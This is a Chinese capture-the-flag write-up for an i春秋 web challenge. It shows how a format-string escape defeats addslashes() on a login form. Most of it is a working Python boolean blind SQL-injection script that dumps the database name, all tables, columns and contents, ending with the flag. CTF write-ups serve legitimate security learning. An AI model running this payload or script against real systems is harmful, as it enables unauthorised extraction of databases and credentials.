CTF-i春秋-Web-二分法布尔盲注、sqli格式化字符串逃逸漏洞-SQLi-“迎圣诞,拿大奖”活动赛题
2020.09.21
经验教训
- sql语句被格式化了就无敌了??不存在的,世界上存在一种漏洞叫做格式化字符逃逸漏洞🤓
- burpsuit的intruder,可以用来测试那些字母或者字符没有被过滤掉
SQLi
https://www.ichunqiu.com/battalion
- 打开页面,俩输入框,随便试账号密码登录失败,返回username error
- 测试admin admin,提示密码错误,说明存在admin这个用户名,也就是说他是先检索admin,又检索的密码;
- 接下来进行测试
username=admin'&password=hehe
,名字错username=admin' %23&password=hehe
,名字错,admin应不存在注入username=admin&password[]=hehe'OR'1'='1'%23
,报错。可以看到有一个addslashes()方法,在单引号、双引号、反斜杠、NULL前边加反斜杠,这样单引号就给过滤了
- 那么我们就先到一个我看wp之前闻所未闻的漏洞--sqli格式化字符串逃逸漏洞,看完之后真是耳目一新,太爽了,详见大佬帖子,看完之后我的理解就是,上一步我们不是发现单引号前边被加了反斜杠,而这个漏洞,就可以把这个反斜杠给吃掉,哈哈哈,好的,🤓试着测试一下
- 猜测他的代码是这样的
username = addslashes($_POST['username']) // 假如输入 admin ' OR 1=1#变成admin\' OR 1=1#
sqlStr ="SELECT * FROM database.table WHERE username ='%s'"
sqlStr = sqlStr.format(sqlStr,username)
// sqlStr ="SELECT * FROM database.table WHERE username ='admin\' OR 1=1#' ",这样缺少右侧单引号,添加%的话变成
// sqlStr ="SELECT * FROM database.table WHERE username ='admin%\' OR 1=1#' "这样的话如果再format一次,就成功把 %\ 给去掉了,但是连接之后就没有format了
// 我想不明白为什么 admin%1$\' OR 1=1# 就能出结果,不过既然知道啦这种写法,并且这个题,主要是sql注入吧,搞一个脚本试试注入
- 终于,他来了,全自动布尔盲注,可移植性贼强💃
#!/usr/bin/env python 3.8
# -*- encoding: utf-8 -*-
#fileName : decry.py
#createTime: 2020/09/21 21:16:24
#author : 乔悟空
#purpose : 此脚本用于盲布尔注
import requests
url = "http://32b688180d5549058430d50caafab50e996fe14822ff44a6.changame.ichunqiu.com/"
session = requests.session()
def getInfoLength(info):
res = 0
for i in range(50):
data = {
'username': "admin%1$'and (LENGTH({})={})=1#".format(info,i),
'password': "admin"
}
if 'username error' not in session.post(url,data=data).text:
res = i
break
return res
def getInfo(info,infoLength):
res = ''
for i in range(infoLength):
start = 0
end = 128
for j in range(20):
mid = (start+end)//2
data = {
'username': "admin%1$' and (ascii(substr({},{},1)) > {} )=1#".format(info,i+1,mid),
'password': "admin"
}
if 'username error' not in session.post(url,data=data).text: # 说明返回true
if end-start==2:
res += chr(end)
break
else:
start = mid
else:
if end-start==2:
res += chr(mid)
break
else:
end = mid
return res
dbStr = "database()"
dbLength = getInfoLength(dbStr)
dbName = getInfo(dbStr,dbLength)
print('数据库名:'+dbName)
allTableStr = "(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=%1$'{}%1$')".format(dbName)
allTableLength = getInfoLength(allTableStr)
tableNameList = getInfo(allTableStr,allTableLength).split(',')
print('数据库中表名:'+str(tableNameList))
for i in range(len(tableNameList)):
columnStr = "(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=%1$'{}%1$')".format(tableNameList[i])
columnLength = getInfoLength(columnStr)
columnNameList = getInfo(columnStr,columnLength).split(',')
print('表'+tableNameList[i]+'中列名:'+str(columnNameList))
for j in range(len(columnNameList)):
detailStr = "(SELECT GROUP_CONCAT({}) FROM {})".format(columnNameList[j],tableNameList[i])
detailLength = getInfoLength(detailStr)
detailList = getInfo(detailStr,detailLength).split(',')
print('表'+tableNameList[i]+'中,列'+columnNameList[j]+'中的数据有:'+str(detailList))
- 用以上脚本跑的结果如下,得到flag
flag{b5b36121-86dd-a4db-aab3-86ddb749dfa1}
开心就完事了🥱
赠人玫瑰🌹手有余香
能帮到你我很高兴
您的赞👍是我前进的动力,奥力给
Thanks for watching!
赠人玫瑰🌹手有余香
能帮到你我很高兴
您的赞👍是我前进的动力,奥力给
Thanks for watching!